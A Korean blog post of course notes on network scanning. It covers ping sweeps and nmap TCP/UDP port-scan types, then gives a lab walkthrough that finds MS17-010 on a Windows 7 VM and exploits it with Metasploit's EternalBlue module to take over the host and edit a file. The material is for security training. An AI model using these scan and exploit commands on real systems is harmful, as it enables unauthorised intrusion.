min8282

[공통과정] 네트워크 해킹/스캐닝(Scanning) 본문

K-Shield.Jr

[공통과정] 네트워크 해킹/스캐닝(Scanning)

min8282 2024. 7. 14. 02:43

Scanning

스캐닝이란?

공격자가 공격대상의 네트워크나 시스템 정보를 탐색하는 행위

  • 수집 대상 : 실행 중인 TCP/UDP 서비스들, 시스템 및 운영체제 정보, 그 외 다양한 정보 등
  • 수집 목적 : 공격자가 공격목표로 하는 네트워크나 시스템의 자세한 정보(IP, OS, Port, Version)를 수집하기 위함

종류)

  1. Active Host Scanning(활성 시스템 스캐닝)
  2. Port Scanning(포트 스캐닝)
  3. Vulnerability Scanning(취약점 스캐닝)

주의사항)

  • 서비스나 시스템을 운영하는 기관, 기업과 협의없이 수행하면 안 됨
  • 과도한 스캐닝은 네트워크, 서비스 장애 등을 초래할 수 있음

1. Active System Scanning(활성 시스템 스캐닝)

활성 시스템 스캐닝이란?

현재 동작 중인 호스트를 찾기 위한 스캐닝 기법

  • 호스트 : 서버, PC 등 단말기
  • ICMP(Internet Control Message Protocol)를 이용한 ping 통신을 통해 동작 여부 확인
  • 대상 네트워크의 구조와 공격 대상을 찾는 방법으로 직접적인 공격 영향 없음

종류)

  • ICMP Echo ping
  • ARPing
  • TCP/UDP ping

ping 자체는 운영체제 방화벽 등에서 막힌다.

 

도구)

  • Nmap
  • ARPing

2. Port Scanning(포트 스캐닝)

포트 스캐닝이란?

호스트에서 실행 중인 서비스를 찾기 위한 스캐닝 기법

  • 서비스 실행 시 통신을 위한 포트가 필요하며, 공격자는 해당 서비스의 취약점을 목표로 공격을 시작함

종류)

  • TCP Port Scanning
  • UDP Port Scanning

2-1. TCP Connect Scanning

TCP 연결을 맺어서 포트의 활성화 여부를 판단하는 방법

  • 포트가 열린 경우, 신뢰성 있는 연결(3-Way HandShake)을 수행하여 연결 기록(로그)을 남긴다.
  • 명령어 : nmap -sT <네트워크 대역 | 호스트 IP>

TCP Session과 Web Session의 차이점

  TCP Session Web Session
계층 Network Layer Application Layer
목적 신뢰성 잇는 데이터 전송 사용자의 상태 정보를 유지하여 사용자 경험 관리
유지 방식 연결을 통해 지속적인 데이터 전송 관리 세션 ID를 통해 사용자의 상태 정보 추적

 

Opened Port - 열린 포트

  1. SYN 패킷 전송: 클라이언트(스캐너)는 대상 서버의 특정 포트로 SYN 패킷을 보냅니다. 이 SYN 패킷은 IP 헤더와 TCP 헤더로 구성되어 있으며, 여기서 TCP 헤더의 SYN 플래그가 설정됩니다.
  2. SYN/ACK 패킷 수신: 대상 서버의 해당 포트가 열려 있다면, 서버는 SYN/ACK 패킷을 클라이언트로 응답합니다. 이 응답 패킷 역시 IP 헤더와 TCP 헤더를 포함합니다.
  3. ACK 패킷 전송 및 연결 완료: 클라이언트는 서버로 ACK 패킷을 보내면서 3-way handshake가 완료되고, TCP 연결이 설정됩니다.
  4. 연결 해제: 스캐너는 바로 연결을 종료하여 실제로 데이터를 전송하지 않습니다. 연결을 해제하는 과정은 FIN 패킷을 보내거나, 더 간단하게 RST 패킷을 보내는 방식으로 이루어집니다.

따라서 SYN 패킷은 IP 헤더와 TCP 헤더의 결합을 통해 전송됩니다. IP 헤더는 패킷의 전송을 담당하는 반면, TCP 헤더는 세션 관리와 데이터 전송을 담당합니다. SYN 플래그는 TCP 헤더에 설정되어 TCP 연결 요청을 나타내며, 이는 IP 헤더에 포함되어 전송됩니다.

 

Closed Port - 닫힌 포트

 

닫힌 포트의 경우 TCP connect 스캐닝에서의 처리 과정은 다음과 같습니다:

  1. SYN 패킷 전송: 클라이언트(스캐너)는 대상 서버의 특정 포트로 SYN 패킷을 보냅니다. 이 패킷은 IP 헤더와 TCP 헤더로 구성되며, TCP 헤더에 SYN 플래그가 설정되어 있습니다.
  2. RST/ACK 패킷 수신: 대상 서버의 해당 포트가 닫혀 있다면, 서버는 SYN 패킷에 대해 RST(Reset) 패킷으로 응답합니다. 이 응답 패킷 역시 IP 헤더와 TCP 헤더를 포함하며, TCP 헤더에 RST 플래그가 설정되어 있습니다.
  3. 연결 실패 확인: 클라이언트는 RST 패킷을 수신하고, 해당 포트가 닫혀 있음을 확인합니다. 연결이 설정되지 않으므로, 추가적인 연결 해제 과정은 필요하지 않습니다.

2-2. SYN Stealth Scanning(Half Open Scanning)

TCP 연결을 완전히 하지 않고 포트의 활성화 여부를 판단하는 방법

  • 포트가 열린 경우, 열결 중간(3-Way HandShake 2단계)에 끊으며 연결 기록(로그)을 남기지 않음
  • 명령어 : nmap -sS <네트워크 대역 | 호스트 IP>

  1. SYN 패킷 전송: 클라이언트에서 서버의 특정 포트로 SYN 패킷 전송.
  2. 응답 패킷 수신:
    • 포트가 열려 있으면 서버에서 SYN/ACK 패킷 전송.
    • 포트가 닫혀 있으면 서버에서 RST 패킷 전송.
  3. 응답 분석:
    • SYN/ACK 패킷 수신 시 클라이언트에서 RST 패킷 전송하여 연결 종료.
    • RST 패킷 수신 시 포트가 닫혀 있다고 판단.

이러한 방식으로 SYN 스텔스 스캔은 TCP 연결을 완전히 설정하지 않으면서 포트의 상태를 파악합니다.

TCP Connect Scanning과 TCP SYN Scanning의 차이점!

  • TCP Connect Scanning은 SYN/ACK 플래그를 받으면 공격자가 ACK 플래그를 보내 로그가 남게 된다. TCP SYN Scanning은 SYN/ACK 플래그를 받은 다음 ACK 플래그를 생략하고 RST 플래그를 전송하여 연결을 종료하기 때문에 로그가 남지 않는다.

2-3. NULL Scanning

TCP 헤더 내 플래그 값을 설정하지 않고 전송하여 그에 대한 응답으로 포트의 활성화 여부를 판단하는 방법

  • 포트가 열린 경우, 목표 대상은 요청을 알 수 없어 응답을 하지 않음
  • 명령어 : nmap -sN <네트워크 대역 | 호스트 IP>

열려 있는 경우 아무런 응답이 없다.

닫혀 있는 포트의 경우 RST/ACK를 반환 -> 취약점이 된다.

2-4. FIN Scanning

TCP 헤더 내 FIN 플래그를 설정하여 전송하고 그에 대한 응답으로 포트의 활성화 여부를 판단하는 방법

  • 포트가 열린 경우, 목표 대상은 연결을 수행한 적이 없기에 응답을 하지 않는다.
  • 명령어 : nmap -sF <네트워크 대역 | 호스트 IP>

2-5. X-Mas Scanning

TCP 헤더 내 일부 또는 모든 플래그를 설정하여 전송하고 그에 대한 응답으로 포트의 활성화 여부를 판단하는 방법

  • 포트가 열린 경우, 목표 대상은 요청에 대한 정확한 응답을 하기 어렵기 때문에 아무 응답을 하지 않는다.
  • 명렁어 : nmap -sX <네트워크 대역 | 호스트 IP>

NULL, FIN, X-Mas Scanning

NULL, FIN, X-Mas는 SYN 플래그를 전송하면 타겟으로 부터 아무런 응답이 없으면 열린 포트이고, RST/ACK 플래그가 응답이 오면 닫힌 포트인 것을 알 수 있다. 즉, RST/ACK 응답이 오는 것을 취약점 볼 수 있다.

NULL, FIN, X-Mas 스캐닝은 비정상적인 방법으로 스캐닝하는 것이다. 이런 경우는 오히려 방어하기 쉽기 때문에, 최근에는 사용하지 않는다. why? 정상적인 요청만 받으면 되기 때문! (ex. 화이트리스트 기반)

2-6. UDP Port Scanning

ICMP Unreachable 메시지를 이용하여 UDP 포트의 활성화 여부를 판단하는 방법. 정상적인척(위장) 하고 보내서 막기 힘들다.

  • 포트가 열린 경우, UDP 응답이 오거나 별도 응답 없음(정책 차단)
  • 포트가 닫힌 경우, ICMP 메시지 응답
  • 명령어 : nmap -sU <네트워크 대역 | 호스트 IP>

3. Vulnerability Scanning(취약점 스캐닝)

실습환경)

현재 위와 같은 가상환경에서 Int Attacker(kali linux)에서 Windows PC(7)의 취약점을 스캔하고 컨트롤 해보는 실습환경이 구성되어 있다.

3.1 Nmap을 이용한 취약점 스캐닝(내부 Attacker)

  • nmap -sV -script vuln <호스트 IP> : 열린 포트를 스캔하고 vuln 스크립트를 이용해 취약점 스캔

Nmap을 이용한 취약점 스캐닝(내부 Attacker)

현재 윈도우7 환경의 운영체제의 열린 포트를 스캔하고 vuln 스크립트를 사용해서 취약점을 스캔했다. 스캔 결과로 CVE 코드를 확인할 수 있다.

Nmap을 이용한 취약점 스캐닝(내부 Attacker) - ms17-010 취약점 확인

MS17_010 취약점 실습(내부 Attacker)

  • nmap -sV -script vuln 192.168.0.2
  • ms17-010 취약점 확인
    • CVE-2017-0143 이라는 취약점 발견

CVE란?

  • "Common Vulnerabilities and Exposures"의 약자로, 보안 취약점과 노출 사례에 대한 공개적이고 표준화된 식별 체계다. 즉, CVE 번호는 전세계적으로 특정 취약점이나 보안 제를 식별하는 고유한 식별자다. -> 국제적으로 공유하는 취약점 정보 코드
  • CVE 번호는 보통 보안 업계에서 발표된 취약점 보고서에서 볼 수 있으며, 해당 취약점이 해결되었는지 여부를 확인하거나 관련된 보안 패치를 적용하는 데 유용하게 활용된다.

 

 

MS17_010 취약점 실습(내부 Attacker)

$ msfconsole

 

 

$ msf6 > search eternal
// eternal 이라는 키워드를 포함하는 모든 모듈들이 나열된다.

 

 

$ msf6 > use 0
// use 0 은 가장 먼저 나온 취약점을 사용하겠다. = eternalblue 취약점
// 즉, 두 코드의 결론은 eternalblue 라는 취약점을 이용해서 공격(=사용)하겠다.

 

 

// 취약점이 발견된 IP 정보 삽입
$ ~~~ > set RHOST 192.168.0.2

 

 

// exploit 명령어를 수행하도록 실행
$ (생략) > exploit

여기까지 윈도우 PC 탈취 완료. 실제로는 스캐닝 과정이 훨씬 더 필요하다.(2~3년씩 걸리는 경우도..)

 

Interface 11에서 IPv4 주소를 확인해 보면 취약점이 발견된 IP 주소로 연결된 것을 알 수 있다. 현재 상태는

 

sysinfo -> 현재 탈취한(접속한) 시스템정보를 볼 수 있다. 

 

지금부터는 실제로 칼리-리눅스 환경에서 윈도우 PC의 파일을 임의로 변경해 보겠습니다.

현재 Window PC 바탕화면에 ksj.txt라는 파일을 하나 만들었습니다. 칼리 리눅스 환경에서 이 파일을 수정해 보겠습니다.

 

위와 같이 텍스트 파일을 변경했고

실제로 윈도우 PC에서 변경된 것을 볼 수 있습니다.